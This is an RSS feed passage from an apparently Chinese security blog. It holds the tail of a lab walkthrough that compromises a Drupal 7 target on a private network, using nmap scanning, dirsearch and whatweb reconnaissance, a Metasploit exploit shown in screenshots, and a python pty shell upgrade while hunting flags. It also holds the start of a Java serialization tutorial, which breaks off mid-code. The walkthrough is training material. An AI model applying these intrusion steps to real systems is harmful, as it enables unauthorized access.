aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h3&gt;&#10;&lt;p&gt;网段:192.168.26.0/24&#10;kali：192.168.26.128&#10;网关: 192.168.26.2&lt;/p&gt;&#10;&#10;&#10;&#10;&lt;h3 id="找出靶机的ip"&gt;&#10; 找出靶机的ip&lt;a class="heading-anchor" href="#%e6%89%be%e5%87%ba%e9%9d%b6%e6%9c%ba%e7%9a%84ip" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h3&gt;&#10;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;nmap -sP 192.168.26.0/24&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&#10;&lt;figure class="digio-lightbox"&gt;&#10; &lt;a href="#lightbox-0" class="digio-lightbox-open"&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202403111521875.png" alt="image-20240311152142829" loading="lazy"&gt;&#10; &lt;/a&gt;&#10; &lt;div class="digio-lightbox-overlay" id="lightbox-0" role="dialog" aria-modal="true"&gt;&#10; &lt;a class="digio-lightbox-close" href="#" aria-label="close"&gt;&amp;times;&lt;/a&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202403111521875.png" alt="image-20240311152142829"&gt;&#10; &#10; &lt;/div&gt;&#10;&lt;/figure&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;靶机:192.168.26.129&lt;/p&gt;&#10;&#10;&#10;&#10;&lt;h3 id="端口探测"&gt;&#10; 端口探测&lt;a class="heading-anchor" href="#%e7%ab%af%e5%8f%a3%e6%8e%a2%e6%b5%8b" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h3&gt;&#10;&lt;p&gt;&#10;&lt;figure class="digio-lightbox"&gt;&#10; &lt;a href="#lightbox-1" class="digio-lightbox-open"&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202403111530140.png" alt="image-20240311153016110" loading="lazy"&gt;&#10; &lt;/a&gt;&#10; &lt;div class="digio-lightbox-overlay" id="lightbox-1" role="dialog" aria-modal="true"&gt;&#10; &lt;a class="digio-lightbox-close" href="#" aria-label="close"&gt;&amp;times;&lt;/a&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202403111530140.png" alt="image-20240311153016110"&gt;&#10; &#10; &lt;/div&gt;&#10;&lt;/figure&gt;&#10;&lt;/p&gt;&#10;&#10;&#10;&#10;&lt;h3 id="信息收集"&gt;&#10; 信息收集&lt;a class="heading-anchor" href="#%e4%bf%a1%e6%81%af%e6%94%b6%e9%9b%86" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h3&gt;&#10;&lt;p&gt;先扫一下目录：&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-java" data-lang="java"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;python3&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;dirsearch&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;py&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;u&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;http&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="o"&gt;//&lt;/span&gt;&lt;span class="n"&gt;192&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;168&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;26&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;129&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;貌似没有有用的文件。&lt;/p&gt;&#10;&#10;&#10;&#10;&lt;h3 id="网站指纹识别"&gt;&#10; 网站指纹识别&lt;a class="heading-anchor" href="#%e7%bd%91%e7%ab%99%e6%8c%87%e7%ba%b9%e8%af%86%e5%88%ab" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h3&gt;&#10;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-java" data-lang="java"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;whatweb&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;192&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;168&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;26&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;129&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&#10;&lt;figure class="digio-lightbox"&gt;&#10; &lt;a href="#lightbox-2" class="digio-lightbox-open"&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202403111557987.png" alt="image-20240311155719932" loading="lazy"&gt;&#10; &lt;/a&gt;&#10; &lt;div class="digio-lightbox-overlay" id="lightbox-2" role="dialog" aria-modal="true"&gt;&#10; &lt;a class="digio-lightbox-close" href="#" aria-label="close"&gt;&amp;times;&lt;/a&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202403111557987.png" alt="image-20240311155719932"&gt;&#10; &#10; &lt;/div&gt;&#10;&lt;/figure&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;可以看到CMS为Drupal，version为7&lt;/p&gt;&#10;&lt;p&gt;去找相关的漏洞。&#10;这里使用msf进行验证&lt;/p&gt;&#10;&lt;p&gt;&#10;&lt;figure class="digio-lightbox"&gt;&#10; &lt;a href="#lightbox-3" class="digio-lightbox-open"&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202403111709213.png" alt="image-20240311170921156" loading="lazy"&gt;&#10; &lt;/a&gt;&#10; &lt;div class="digio-lightbox-overlay" id="lightbox-3" role="dialog" aria-modal="true"&gt;&#10; &lt;a class="digio-lightbox-close" href="#" aria-label="close"&gt;&amp;times;&lt;/a&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202403111709213.png" alt="image-20240311170921156"&gt;&#10; &#10; &lt;/div&gt;&#10;&lt;/figure&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;这里使用这个漏洞进行攻击，&#10;&#10;&lt;figure class="digio-lightbox"&gt;&#10; &lt;a href="#lightbox-4" class="digio-lightbox-open"&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202403111710722.png" alt="image-20240311171013663" loading="lazy"&gt;&#10; &lt;/a&gt;&#10; &lt;div class="digio-lightbox-overlay" id="lightbox-4" role="dialog" aria-modal="true"&gt;&#10; &lt;a class="digio-lightbox-close" href="#" aria-label="close"&gt;&amp;times;&lt;/a&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202403111710722.png" alt="image-20240311171013663"&gt;&#10; &#10; &lt;/div&gt;&#10;&lt;/figure&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;哑shell变交互shell&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-java" data-lang="java"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;python&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;#39;&lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;pty&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;pty&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;spawn&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;/bin/bash&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="err"&gt;&amp;#39;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#10;&#10;&#10;&lt;h4 id="第一个flag"&gt;&#10; 第一个flag&lt;a class="heading-anchor" href="#%e7%ac%ac%e4%b8%80%e4%b8%aaflag" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h4&gt;&#10;&lt;p&gt;&#10;&lt;figure class="digio-lightbox"&gt;&#10; &lt;a href="#lightbox-5" class="digio-lightbox-open"&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202403111711775.png" alt="image-20240311171109735" loading="lazy"&gt;&#10; &lt;/a&gt;&#10; &lt;div class="digio-lightbox-overlay" id="lightbox-5" role="dialog" aria-modal="true"&gt;&#10; &lt;a class="digio-lightbox-close" href="#" aria-label="close"&gt;&amp;times;&lt;/a&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202403111711775.png" alt="image-20240311171109735"&gt;&#10; &#10; &lt;/div&gt;&#10;&lt;/figure&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;提示我们配置文件&lt;/p&gt;&#10;&#10;&#10;&#10;&lt;h4 id="第二个flag"&gt;&#10; 第二个flag&lt;a class="heading-anchor" href="#%e7%ac%ac%e4%ba%8c%e4%b8%aaflag" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h4&gt;&#10;&lt;p&gt;&#10;&lt;figure class="digio-lightbox"&gt;&#10; &lt;a href="#lightbox-6" class="digio-lightbox-open"&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202403111713629.png" alt="image-20240311171331583" loading="lazy"&gt;&#10; &lt;/a&gt;&#10; &lt;div class="digio-lightbox-overlay" id="lightbox-6" role="dialog" aria-modal="true"&gt;&#10; &lt;a class="digio-lightbox-close" href="#" aria-label="close"&gt;&amp;times;&lt;/a&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202403111713629.png" alt="image-20240311171331583"&gt;&#10; &#10; &lt;/div&gt;&#10;&lt;/figure&gt;&#10;&lt;/p&gt;</description></item><item><title>java序列化和反序列化基础</title><link>http://blog.foreverwl.top/blog/java%E5%BA%8F%E5%88%97%E5%8C%96%E5%92%8C%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/</link><pubDate>Mon, 11 Mar 2024 07:58:23 +0800</pubDate><guid>http://blog.foreverwl.top/blog/java%E5%BA%8F%E5%88%97%E5%8C%96%E5%92%8C%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/</guid><description>&lt;h2 id="1序列化和反序列化"&gt;&#10; 1.序列化和反序列化&lt;a class="heading-anchor" href="#1%e5%ba%8f%e5%88%97%e5%8c%96%e5%92%8c%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;序列化:对象序列化的最主要的用处就是在传递和保存对象的时候，保证对象的完整性和可传递性。序列化是把对象转换成有序字节流，以便在网络上传输或者保存在本地文件中。核心作用是对象状态的保存与重建。&lt;/li&gt;&#10;&lt;li&gt;反序列化:从本地或者网络上获取经过序列化的对象字节流，通过反序列化重建对象。&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&#10;&#10;&#10;&lt;h4 id="为什么要进行序列化和反序列化"&gt;&#10; 为什么要进行序列化和反序列化&lt;a class="heading-anchor" href="#%e4%b8%ba%e4%bb%80%e4%b9%88%e8%a6%81%e8%bf%9b%e8%a1%8c%e5%ba%8f%e5%88%97%e5%8c%96%e5%92%8c%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h4&gt;&#10;&lt;ol&gt;&#10;&lt;li&gt;在jvm运行结束后，创建的对象就消失了，如果想要再次调用之前的对象，我们就可以通过反序列化的方式创建之前的对象，前提是要存储之前对象序列化的字节流文件。&lt;/li&gt;&#10;&lt;li&gt;序列化之后为字节流数据，无论原来是什么数据，都变成一样的数据，就可以用通用的格式传输和保存，若要再次使用，直接反序列化还原，对象还是对象，文件还是文件。&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&#10;&#10;&#10;&lt;h2 id="2如何实现序列化和反序列化"&gt;&#10; 2.如何实现序列化和反序列化&lt;a class="heading-anchor" href="#2%e5%a6%82%e4%bd%95%e5%ae%9e%e7%8e%b0%e5%ba%8f%e5%88%97%e5%8c%96%e5%92%8c%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;我们知道，在php中进行序列化和反序列化提供了函数serialize和unserialize，但是java中并没有这种api。这就要用到java中的IO。&lt;/p&gt;&#10;&lt;p&gt;IO 即 &lt;code&gt;Input/Output&lt;/code&gt;，输入和输出。数据输入到计算机内存的过程即输入，反之输出到外部存储（比如数据库，文件，远程主机）的过程即输出。数据传输过程类似于水流，因此称为 IO 流。IO 流在 Java 中分为输入流和输出流，而根据数据的处理方式又分为字节流和字符流。&lt;/p&gt;&#10;&lt;p&gt;java IO分为&lt;strong&gt;文件IO流（FileInput/OutputStream）和对象IO流（ObjectInput/OutputStream）&lt;/strong&gt;。&lt;/p&gt;&#10;&lt;p&gt;ObjectOutputStream类实现对象的序列化流，ObjectInputStream类实现对象的反序列。&lt;/p&gt;&#10;&lt;p&gt;我们上边说到序列化是把对象转化为字节流并且保存起来，这个过程就靠java的输出，将对象从java程序以字节流输出到java外部并保存起来，反序列化相反。也就是java中的序列化和反序列化需要开发人员自己去写出实现的过程。&lt;/p&gt;&#10;&lt;p&gt;实现java.io.Serializable接口的类（或者java.io.Externalizable）才可被反序列化，否则会抛出异常。&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-java" data-lang="java"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;package&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;ser.edu.xcu&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;java.io.Serializable&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;People&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;implements&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Serializable&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;age&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;People&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;age&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;){&lt;/span&gt;&lt;span class="w"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;age&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;age&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#10;&#10;&#10;&lt;h4 id="序列化和反序列化"&gt;&#10; 序列化和反序列化&lt;a class="heading-anchor" href="#%e5%ba%8f%e5%88%97%e5%8c%96%e5%92%8c%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h4&gt;&#10;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-java" data-lang="java"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;package&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;ser.edu.xcu&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;java.io.*&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;Ser&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;static&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;serialize&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;obj&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;throws&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;IOException&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ObjectOutputStream&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;oos&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ObjectOutputStream&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;FileOutputStream&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;ser.txt&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;&lt;span class="w"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;oos&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;writeObject&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;obj&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;static&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;unserialize&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Filename&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;throws&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;IOException&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ClassNotFoundException&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ObjectInputStream&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ois&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ObjectInputStream&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;FileInputStream&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Filename&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;&lt;span class="w"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;obj&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ois&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;readObject&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;&lt;span class="w"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;obj&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;static&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;throws&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;IOException&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ClassNotFoundException&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;People&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;p1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;People&lt;/span&gt;&lt;span 